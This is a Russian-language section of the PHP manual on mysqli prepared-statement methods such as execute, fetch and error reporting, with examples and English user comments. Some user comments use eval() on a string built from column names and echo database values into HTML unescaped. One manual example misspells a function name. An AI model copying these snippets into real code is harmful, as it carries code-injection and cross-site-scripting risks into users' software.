mysqli_stmt::close -- mysqli_stmt_close — Закрывает подготовленный запрос

Описание

Объектно-ориентированный стиль

public mysqli_stmt::close(): true

Процедурный стиль

mysqli_stmt_close(mysqli_stmt $statement): true

Закрывает подготовленный запрос. mysqli_stmt_close() также освобождает дескриптор запроса. Если по текущему запросу получен результат, то эта функция очищает его для того, чтобы мог быть выполнен следующий запрос.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.0.0 | Функция теперь возвращает значение true. Ранее она возвращала значение false в случае возникновения ошибки.

Смотрите также

  • mysqli_prepare() - Подготавливает SQL выражение к выполнению

User Contributed Notes

daniel dot kipp at web dot de 17-Jan-2006 09:06
if you are repeating an statement in an loop using bind_param and so on inside it for a larger operation. i thougt id would be good to clean it with stmt->close. but it broke always with an error after aprox. 250 operations . As i tried it with  stmt->reset it worked for me.


Конструктор для объекта mysqli_stmt

  • « mysqli_stmt::close
  • mysqli_stmt::data_seek »
  • PHP Manual
  • mysqli_stmt
  • Конструктор для объекта mysqli_stmt

mysqli_stmt::__construct

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::__construct — Конструктор для объекта mysqli_stmt

Описание

public mysqli_stmt::__construct(mysqli $mysql, ?string $query = null)

Этот метод создаёт новый объект класса mysqli_stmt.

Список параметров

link

Корректный объект mysqli.

query

Строка, содержащая SQL-запрос. Если данный параметр null, то результат будет аналогичен вызову mysqli_stmt_init(), в противном случае результат будет аналогичен вызову mysqli_prepare().

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Список изменений

Версия | Описание
8.0.0 | query теперь допускает значение null.

Смотрите также

  • mysqli_prepare() - Подготавливает SQL выражение к выполнению
  • mysqli_stmt_init() - Инициализирует запрос и возвращает объект для использования в mysqli_stmt_prepare

User Contributed Notes

There are no user contributed notes for this page.


Корректирует указатель результата на произвольную строку в буферизованном результате

  • « mysqli_stmt::__construct
  • mysqli_stmt::$errno »
  • PHP Manual
  • mysqli_stmt
  • Корректирует указатель результата на произвольную строку в буферизованном результате

mysqli_stmt::data_seek

mysqli_stmt_data_seek

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::data_seek -- mysqli_stmt_data_seek — Корректирует указатель результата на произвольную строку в буферизованном результате

Описание

Объектно-ориентированный стиль

public mysqli_stmt::data_seek(int $offset): void

Процедурный стиль

mysqli_stmt_data_seek(mysqli_stmt $statement, int $offset): void

Функция перемещает указатель буферизованного набора результатов в произвольную строку, заданную параметром offset.

Функция работает только с буферизованным внутренним набором результатов. Функция mysqli_stmt_store_result() должна быть вызвана до mysqli_stmt_data_seek().

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

offset

Значение должно быть в диапазоне от 0 до числа строк минус один (0.. mysqli_stmt_num_rows() - 1).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
$stmt = $mysqli->prepare($query);
$stmt->execute();

$stmt->bind_result($name, $code);

$stmt->store_result();

/* переходим к строке 400 результирующей таблицы */
$stmt->data_seek(399);

$stmt->fetch();

printf("Город: %s Код страны: %s\n", $name, $code);
?>

Пример #2 Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
$stmt = mysqli_prepare($link, $query);

mysqli_stmt_execute($stmt);

mysqli_stmt_bind_result($stmt, $name, $code);

mysqli_stmt_store_result($stmt);

/* переходим к строке 400 результирующей таблицы */
mysqli_stmt_data_seek($stmt, 399);

mysqli_stmt_fetch($stmt);

printf("Город: %s Код страны: %s\n", $name, $code);
?>

Результат выполнения данных примеров:

Город: Benin City  Код страны: NGA

Смотрите также

  • mysqli_prepare() - Подготавливает SQL выражение к выполнению
  • mysqli_stmt_store_result() - Сохраняет набор результатов во внутреннем буфере
  • mysqli_stmt_num_rows() - Возвращает количество строк, полученных с сервера
  • mysqli_data_seek() - Перемещает указатель результата на выбранную строку

User Contributed Notes

phpnet at stuffonmylaptop dot com 23-Nov-2011 03:25
Although the documentation says you must provide a number between 0 and count - 1, you can actually supply a negative number, which appears to be cast to positive (such as in abs()).

For example:

<?php
$db = new mysqli('localhost', 'test', 'password', 'schema');
$db->multi_query("
            SELECT * FROM
            (
                SELECT 1 as 'position'
                UNION SELECT 2 as 'position'
                UNION SELECT 3 as 'position'
                UNION SELECT 4 as 'position'
                UNION SELECT 5 as 'position'
            ) as rows");

$result = $db->store_result();

for ($i = 0; $i < $result->num_rows; $i++)
{
    $offset = $i;
    $result->data_seek($offset);
    var_dump("Seek offset is: {$offset}", $result->fetch_object());
}

for ($i = 0; $i < $result->num_rows; $i++)
{
    $offset = -$i;
    $result->data_seek($offset);
    var_dump("Seek offset is: {$offset}", $result->fetch_object());
}


Возвращает код ошибки выполнения последнего запроса

  • « mysqli_stmt::data_seek
  • mysqli_stmt::$error_list »
  • PHP Manual
  • mysqli_stmt
  • Возвращает код ошибки выполнения последнего запроса

mysqli_stmt::$errno

mysqli_stmt_errno

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$errno -- mysqli_stmt_errno — Возвращает код ошибки выполнения последнего запроса

Описание

Объектно-ориентированный стиль

int $mysqli_stmt->errno;

Процедурный стиль

mysqli_stmt_errno(mysqli_stmt $statement): int

Возвращает код ошибки для последнего вызова функции, которая могла завершиться удачно или неудачно.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Код ошибки. Ноль означает отсутствие ошибок.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
/* открываем соединение */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* проверяем соединение */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

/* удаляем таблицу */
$mysqli->query("DROP TABLE myCountry");

/* выполняем запрос */
$stmt->execute();

printf("Ошибка: %d.\n", $stmt->errno);

/* закрываем запрос */
$stmt->close();
}

/* закрываем соединение */
$mysqli->close();
?>

Пример #2 Процедурный стиль

<?php
/* открываем соединение */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* проверяем соединение */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

/* удаляем таблицу */
mysqli_query($link, "DROP TABLE myCountry");

/* выполняем запрос */
mysqli_stmt_execute($stmt);

printf("Ошибка: %d.\n", mysqli_stmt_errno($stmt));

/* закрываем запрос */
mysqli_stmt_close($stmt);
}

/* закрываем соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Ошибка: 1146.

Смотрите также

  • mysqli_stmt_error() - Возвращает строку с пояснением последней ошибки при выполнении запроса
  • mysqli_stmt_sqlstate() - Возвращает код ошибки SQLSTATE, вызванной в ходе выполнения последней операции над запросом

User Contributed Notes

There are no user contributed notes for this page.


Возвращает список ошибок выполнения последнего запроса

  • « mysqli_stmt::$errno
  • mysqli_stmt::$error »
  • PHP Manual
  • mysqli_stmt
  • Возвращает список ошибок выполнения последнего запроса

mysqli_stmt::$error_list

mysqli_stmt_error_list

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

mysqli_stmt::$error_list -- mysqli_stmt_error_list — Возвращает список ошибок выполнения последнего запроса

Описание

Объектно-ориентированный стиль

array $mysqli_stmt->error_list;

Процедурный стиль

mysqli_stmt_error_list(mysqli_stmt $statement): array

Возвращает список ошибок, возникших при выполнении последней операции над запросом, которая может завершаться успешно или неуспешно.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Список ошибок, каждая из которых представлена в виде массива (array), содержащего код ошибки, сообщение об ошибке, а также код состояния sqlstate.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
/* открываем соединение */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* проверяем соединение */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

/* удаляем таблицу */
$mysqli->query("DROP TABLE myCountry");

/* выполняем запрос */
$stmt->execute();

echo "Ошибка:\n";
print_r($stmt->error_list);

/* закрываем запрос */
$stmt->close();
}

/* закрываем соединение */
$mysqli->close();
?>

Пример #2 Процедурный стиль

<?php
/* открываем соединение */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* проверяем соединение */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

/* удаляем таблицу */
mysqli_query($link, "DROP TABLE myCountry");

/* выполняем запрос */
mysqli_stmt_execute($stmt);

echo "Ошибка:\n";
print_r(mysql_stmt_error_list($stmt));

/* закрываем запрос */
mysqli_stmt_close($stmt);
}

/* закрываем соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Array
(
    [0] => Array
        (
            [errno] => 1146
            [sqlstate] => 42S02
            [error] => Table 'world.myCountry' doesn't exist
        )

)

Смотрите также

  • mysqli_stmt_error() - Возвращает строку с пояснением последней ошибки при выполнении запроса
  • mysqli_stmt_errno() - Возвращает код ошибки выполнения последнего запроса
  • mysqli_stmt_sqlstate() - Возвращает код ошибки SQLSTATE, вызванной в ходе выполнения последней операции над запросом

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку с пояснением последней ошибки при выполнении запроса

  • « mysqli_stmt::$error_list
  • mysqli_stmt::execute »
  • PHP Manual
  • mysqli_stmt
  • Возвращает строку с пояснением последней ошибки при выполнении запроса

mysqli_stmt::$error

mysqli_stmt_error

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$error -- mysqli_stmt_error — Возвращает строку с пояснением последней ошибки при выполнении запроса

Описание

Объектно-ориентированный стиль

string $mysqli_stmt->error;

Процедурный стиль

mysqli_stmt_error(mysqli_stmt $statement): string

Возвращает строку с сообщением об ошибке для последнего вызова функции, которая могла её вызвать.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Строка сообщения об ошибке. Пустая строка означает отсутствие ошибок.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
/* открываем соединение */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* проверяем соединение */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

/* удаляем таблицу */
$mysqli->query("DROP TABLE myCountry");

/* выполняем запрос */
$stmt->execute();

printf("Ошибка: %s.\n", $stmt->error);

/* закрываем запрос */
$stmt->close();
}

/* закрываем соединение */
$mysqli->close();
?>

Пример #2 Процедурный стиль

<?php
/* открываем соединение */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* проверяем соединение */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

/* удаляем таблицу */
mysqli_query($link, "DROP TABLE myCountry");

/* выполняем запрос */
mysqli_stmt_execute($stmt);

printf("Ошибка: %s.\n", mysqli_stmt_error($stmt));

/* закрываем запрос */
mysqli_stmt_close($stmt);
}

/* закрываем соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Ошибка: Table 'world.myCountry' doesn't exist.

Смотрите также

  • mysqli_stmt_errno() - Возвращает код ошибки выполнения последнего запроса
  • mysqli_stmt_sqlstate() - Возвращает код ошибки SQLSTATE, вызванной в ходе выполнения последней операции над запросом

User Contributed Notes

There are no user contributed notes for this page.


Выполняет подготовленное утверждение

  • « mysqli_stmt::$error
  • mysqli_stmt::fetch »
  • PHP Manual
  • mysqli_stmt
  • Выполняет подготовленное утверждение

mysqli_stmt::execute

mysqli_stmt_execute

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::execute -- mysqli_stmt_execute — Выполняет подготовленное утверждение

Описание

Объектно-ориентированный стиль

public mysqli_stmt::execute(?array $params = null): bool

Процедурный стиль

mysqli_stmt_execute(mysqli_stmt $statement, ?array $params = null): bool

Выполняет заранее подготовленное утверждение. Утверждение должно быть успешно подготовлено перед выполнением с использованием функции mysqli_prepare() или mysqli_stmt_prepare(), либо путём передачи второго аргумента в mysqli_stmt::__construct().

Если выполняются запросы UPDATE, DELETE, или INSERT, то количество изменённых строк можно определить функцией mysqli_stmt_affected_rows(). Если запрос возвращает набор результатов, его можно получить с помощью функции mysqli_stmt_get_result() или путём получения построчно непосредственно из оператора с помощью функции mysqli_stmt_fetch().

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

params

Необязательный массив элементов (array) с количеством элементов равным количеству связанных параметров в выполняемом SQL-запросе. Каждое значение рассматривается как строка (string).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Список изменений

Версия | Описание
8.1.0 | Добавлен необязательный параметр params.

Примеры

Пример #1 Выполнение подготовленного оператора с привязкой переменных

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$mysqli->query("CREATE TEMPORARY TABLE myCity LIKE City");

/* Подготавливаем утверждение на вставку строк */
$stmt = $mysqli->prepare("INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)");

/* Связываем переменные с метками */
$stmt->bind_param("sss", $val1, $val2, $val3);

$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';

/* Выполняем утверждение */
$stmt->execute();

$val1 = 'Bordeaux';
$val2 = 'FRA';
$val3 = 'Aquitaine';

/* Выполняем утверждение */
$stmt->execute();

/* Получаем все строки из myCity */
$query = "SELECT Name, CountryCode, District FROM myCity";
$result = $mysqli->query($query);
while ($row = $result->fetch_row()) {
printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
}

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

mysqli_query($link, "CREATE TEMPORARY TABLE myCity LIKE City");

/* Подготавливаем утверждение на вставку строк */
$stmt = mysqli_prepare($link, "INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)");

/* Связываем переменные с метками */
mysqli_stmt_bind_param($stmt, "sss", $val1, $val2, $val3);

$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';

/* Выполняем утверждение */
mysqli_stmt_execute($stmt);

$val1 = 'Bordeaux';
$val2 = 'FRA';
$val3 = 'Aquitaine';

/* Выполняем утверждение */
mysqli_stmt_execute($stmt);

/* Получаем все строки из myCity */
$query = "SELECT Name, CountryCode, District FROM myCity";
$result = mysqli_query($link, $query);
while ($row = mysqli_fetch_row($result)) {
printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
}

Результат выполнения данных примеров:

Stuttgart (DEU,Baden-Wuerttemberg)
Bordeaux (FRA,Aquitaine)

Пример #2 Выполнение подготовленного оператора с массивом значений

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'world');

$mysqli->query('CREATE TEMPORARY TABLE myCity LIKE City');

/* Подготавливаем утверждение на вставку строк */
$stmt = $mysqli->prepare('INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)');

/* Выполняем утверждение */
$stmt->execute(['Stuttgart', 'DEU', 'Baden-Wuerttemberg']);

/* Получаем все строки из myCity */
$query = 'SELECT Name, CountryCode, District FROM myCity';
$result = $mysqli->query($query);
while ($row = $result->fetch_row()) {
printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
}

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'world');

mysqli_query($link, 'CREATE TEMPORARY TABLE myCity LIKE City');

/* Подготавливаем утверждение на вставку строк */
$stmt = mysqli_prepare($link, 'INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)');

/* Выполняем утверждение */
mysqli_stmt_execute($stmt, ['Stuttgart', 'DEU', 'Baden-Wuerttemberg']);

/* Получаем все строки из myCity */
$query = 'SELECT Name, CountryCode, District FROM myCity';
$result = mysqli_query($link, $query);
while ($row = mysqli_fetch_row($result)) {
printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
}

Результат выполнения данных примеров:

Stuttgart (DEU,Baden-Wuerttemberg)

Смотрите также

  • mysqli_execute_query() - Подготавливает, связывает параметры и выполняет SQL-запрос
  • mysqli_prepare() - Подготавливает SQL выражение к выполнению
  • mysqli_stmt_bind_param() - Привязка переменных к параметрам подготавливаемого запроса
  • mysqli_stmt_get_result() - Получает результат из подготовленного запроса в виде объекта mysqli_result

User Contributed Notes

Typer85 at gmail dot com 28-Dec-2006 02:23
Just to clarify this note in the Manual regarding this function:

"Note:  When using mysqli_stmt_execute(), the mysqli_stmt_fetch()  function must be used to fetch the data prior to performing any additional queries."

This is because this function DOES NOT store the result set on the client side so you have to fetch everything in the result set or else you risk major errors.

If you however use the function mysqli_stmt_store_result immediately after you use this function, you are forcing the result set to be stored on the client side and thus it is safe to issue extra queries before fetching all the data.

This is where you really have to make a choice regarding on your application's priorities. If you know your result set is memory hefty, then its a good idea not to store it on the client side so you don't run in any errors regarding unavailable memory on the server. But this also means your not going to do a lot of calculations on the result set or else you will prevent any other usage of the table to which the result set came from until you fetched it all.

If your going to do a lot of calculations or your result set is not memory hefty, its probably a good idea to store it on the client side.

Most of these problems can easily be solved if you have a lot of memory available on your server but thats usually not the case for those on shared hosting.

An intelligent way to counter this problem if your on a shared host is to be smart in the way you design your queries. Try to limit the result set if you know you will be fetching memory hefty result sets.

Test different alternatives for your application and see what works best for you under different conditions.

Good Luck,
andrey at php dot net 07-Oct-2005 05:34
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.


Связывает результаты подготовленного выражения с переменными

  • « mysqli_stmt::execute
  • mysqli_stmt::$field_count »
  • PHP Manual
  • mysqli_stmt
  • Связывает результаты подготовленного выражения с переменными

mysqli_stmt::fetch

mysqli_stmt_fetch

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::fetch -- mysqli_stmt_fetch — Связывает результаты подготовленного выражения с переменными

Описание

Объектно-ориентированный стиль

public mysqli_stmt::fetch(): ?bool

Процедурный стиль

mysqli_stmt_fetch(mysqli_stmt $statement): ?bool

Связывает результаты подготовленного выражения с переменными, определёнными с помощью mysqli_stmt_bind_result().

Замечание:

Необходимо отметить, что все столбцы должны быть связаны перед вызовом mysqli_stmt_fetch().

Замечание:

Данные не буферизуются при передаче, когда вызывается mysqli_stmt_store_result(), что снижает производительность (но также снижает затраты памяти).

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Возвращаемые значения
Значение | Описание
true | Успех. Данные были выбраны
false | Произошла ошибка
null | Больше нет строк/данных или произошло усечение данных

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Проверить соединение */
if (mysqli_connect_errno()) {
printf("Попытка соединения не удалась: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 150,5";

if ($stmt = $mysqli->prepare($query)) {

/* Запустить выражение */
$stmt->execute();

/* Определить переменные для результата */
$stmt->bind_result($name, $code);

/* Выбрать значения */
while ($stmt->fetch()) {
printf ("%s (%s)\n", $name, $code);
}

/* Завершить запрос */
$stmt->close();
}

/* Закрыть соединение */
$mysqli->close();
?>

Пример #2 Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Проверить соединение */
if (mysqli_connect_errno()) {
printf("Попытка соединения не удалась: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 150,5";

if ($stmt = mysqli_prepare($link, $query)) {

/* Запустить запрос */
mysqli_stmt_execute($stmt);

/* Определить переменные для результата */
mysqli_stmt_bind_result($stmt, $name, $code);

/* Выбрать значения */
while (mysqli_stmt_fetch($stmt)) {
printf ("%s (%s)\n", $name, $code);
}

/* Завершить запрос */
mysqli_stmt_close($stmt);
}

/* Закрыть соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Rockford (USA)
Tallahassee (USA)
Salinas (USA)
Santa Clarita (USA)
Springfield (USA)

Смотрите также

  • mysqli_prepare() - Подготавливает SQL выражение к выполнению
  • mysqli_stmt_errno() - Возвращает код ошибки выполнения последнего запроса
  • mysqli_stmt_error() - Возвращает строку с пояснением последней ошибки при выполнении запроса
  • mysqli_stmt_bind_result() - Привязка переменных к подготовленному запросу для размещения результата

User Contributed Notes

xcyberx at protonmail dot com 24-Oct-2019 03:52
Not any example for result with field names is not works correct when used prepare. This is correct variant:

<?php

    // STMT SQL prepeare and execute
    protected static function stmtSQL( $CONNECTION, $SQL_STMT ) {

        $stmt = $CONNECTION->stmt_init();

        if( $stmt->prepare($SQL_STMT) ) {

            $stmt->execute();

            $r = $stmt->get_result();

            while ( $row = mysqli_fetch_assoc($r) ) {
                print '<pre>'. print_r( $row, true ) .'</pre>';

            }

            ...

            $stmt->close();

            return $result;

        }
        else {

            return null;

        }

    }
?>

Then we can make modifier to make possible collect data into fields_named array when used JOIN because it more flexible ;)
admin at akchauhan2 dot com 06-Sep-2018 10:48
I'm creating a pagination system, here i am fetching some data in whileloop from the db, The problem is that i want to open a

Tag after every 3rd fetching from the database so that it will look like this:

1st time:

<div class="row no-collapse-1">
<section class="4u border">
<a href="video.php?video_id=1" class="image featured">
<img src="/images/image_imagename/hqdefault.jpg">
                    </a>
                <div class="box">
                    <p>Video Title </p>
                    <a href="video.php?video_id=1" class="button">Watch</a> </div>
            </section>
 </div>
2nd:

  <div class="row no-collapse-1">
      <section class="4u border">
                    <a href="video.php?video_id=1" class="image featured">
                            <img src="/images/image_imagename/hqdefault.jpg">
                        </a>
                    <div class="box">
                        <p>Video Title </p>
                        <a href="video.php?video_id=1" class="button">Watch</a> </div>
                </section>
    </div>
3rd..4th. .and so on..

I am using this code, now how and where should i place the  <div class="row no-collapse-1"> tag

<?php
    if(isset($_GET['page'])){
        $page = $_GET['page'];
    }else{
        $page = 1;
    }
            $l_s = ($page*9)-9;

    $stmt = mysqli_prepare($connection,"SELECT video_id, video_title, video_link FROM tubeVideos ORDER BY video_id DESC LIMIT $l_s,9");
    mysqli_stmt_execute($stmt);
    mysqli_stmt_bind_result($stmt,$video_id, $video_title, $video_link);

    while(mysqli_stmt_fetch($stmt)){

?>

<section class="4u border">
            <a href="video.php?video_id=<?php echo $video_id; ?>" class="image featured">
                    <img src="/images/image_<?php echo $video_image ?>/hqdefault.jpg">
                </a>
            <div class="box">
                <p>
                    <?php echo $video_title; ?>
                </p>
                <a href="video.php?video_id=<?php echo $video_id; ?>" class="button">Watch</a> </div>
        </section>
jjling2011 at gmail dot com 31-May-2017 07:36
Combind both ideas from Bruce Martin and dan, I come up with this code.
It will return an assoc array.

usage:
    $data = fetch_assoc('select * from table1 where id=? and name=?','is',[1,'Sam']);
    $data = fetch_assoc('select * from table2');

result looks like this:
   $data = [
      'id' => 1,
      'name' => 'Sam',
      'age' => ...
      ...
      ...
   ];

Please forgive my poor coding ( and English)  XD

code:
<?php
    function fetch_assoc($sql, $types = false, $params = false) {

        $db = new MySQLi(HOST, USER, PASS, DB_NAME);
        $db->set_charset('utf8');

        $stmt = $db->prepare($sql);

        // bind params
        if (is_string($types) && is_array($params) && count($params) === strlen($types)) {
            $p = [];
            for($i = 0; $i<count($params); $i++){
                $p[$i] = &$params[$i];
            }
            call_user_func_array(array($stmt, 'bind_param'), array_merge(array($types), $p));
        }

        if (!$stmt->execute()) {
            // some thing goes wrong
            return false;
        }
        $stmt->store_result();

        // get column names
        $metadata = $stmt->result_metadata();
        $fields = $metadata->fetch_fields();

        $results = [];
        $ref_results = [];
        foreach($fields as $field){
            $results[$field->name]=null;
            $ref_results[]=&$results[$field->name];
        }

        call_user_func_array(array($stmt, 'bind_result'), $ref_results);

        $data = [];
        while ($stmt->fetch()) {
            $data[] = $results;
        }

        $stmt->free_result();
        return  $data;
    }
asimileac at gmail dot com 07-Nov-2016 11:05
There is a bug - https://bugs.php.net/bug.php?id=64638

Don't use cursors in stored procedures which are called from PHP. You will receive PHP Warning:

PHP Warning:  Packets out of order. Expected xxx received yyy. Packet size=zzz
Brian 14-May-2015 06:09
Same as everyone else, I was looking for a way NOT to have to duplicate the amount of code it takes to fetch the results of a prepared statement as an associative array.

Some of the other methods didn't work as written, and this one is packaged into a simple function to reduce code repetition.

Adapted from code others have posted.
<?php
// Example usage:
$id = 1;
$stmt = $dbc->prepare("SELECT * FROM table WHERE id=?");
if (!$stmt->bind_param('i', $id) || !$stmt->execute()) {
    throw new \Exception("Database error: $stmt->errno - $stmt->error");
}
$results = fetch_assoc_stmt($stmt);
$stmt->close();

/**
 * Fetches the results of a prepared statement as an array of associative
 * arrays such that each stored array is keyed by the result's column names.
 * @param stmt   Must have been successfully prepared and executed prior to calling this function
 * @param buffer Whether to buffer the result set; if true, results are freed at end of function
 * @return An array, possibly empty, containing one associative array per result row
 */
function fetch_assoc_stmt(\mysqli_stmt $stmt, $buffer = true) {
    if ($buffer) {
        $stmt->store_result();
    }
    $fields = $stmt->result_metadata()->fetch_fields();
    $args = array();
    foreach($fields AS $field) {
        $key = str_replace(' ', '_', $field->name); // space may be valid SQL, but not PHP
        $args[$key] = &$field->name; // this way the array key is also preserved
    }
    call_user_func_array(array($stmt, "bind_result"), $args);
    $results = array();
    while($stmt->fetch()) {
        $results[] = array_map("copy_value", $args);
    }
    if ($buffer) {
        $stmt->free_result();
    }
    return $results;
}

/**
 * Copy value as value
 */
function copy_value($v) {
    return $v;
}
?>
Bruce Martin 30-Dec-2011 09:51
I was trying to use a generic select * from table statment and have the results returned in an array. I finally came up with this solution, others have similar solutions, but they where not working for me.
<?php
    //Snip use normal methods to get to this point
    $stmt->execute();
    $metaResults = $stmt->result_metadata();
    $fields = $metaResults->fetch_fields();
    $statementParams='';
     //build the bind_results statement dynamically so I can get the results in an array
     foreach($fields as $field){
         if(empty($statementParams)){
             $statementParams.="\$column['".$field->name."']";
         }else{
             $statementParams.=", \$column['".$field->name."']";
         }
    }
    $statment="\$stmt->bind_result($statementParams);";
    eval($statment);
    while($stmt->fetch()){
        //Now the data is contained in the assoc array $column. Useful if you need to do a foreach, or
        //if your lazy and didn't want to write out each param to bind.
    }
    // Continue on as usual.
?>
denath2 at yahoo dot com 19-May-2008 12:27
As php at johnbaldock dot co dot uk mentioned the problem is that the $row returned is reference and not data. So, when you write  $array[] = $row, the $array will be filled up with the last element of the dataset. To come up with this you can write the following hack:

// loop through all result rows
while ($stmt->fetch()) {

    foreach( $row as $key=>$value )
    {
        $row_tmb[ $key ] = $value;
    }
    $array[] = $row_tmb;

}
piedone at pyrocenter dot hu 08-May-2008 12:57
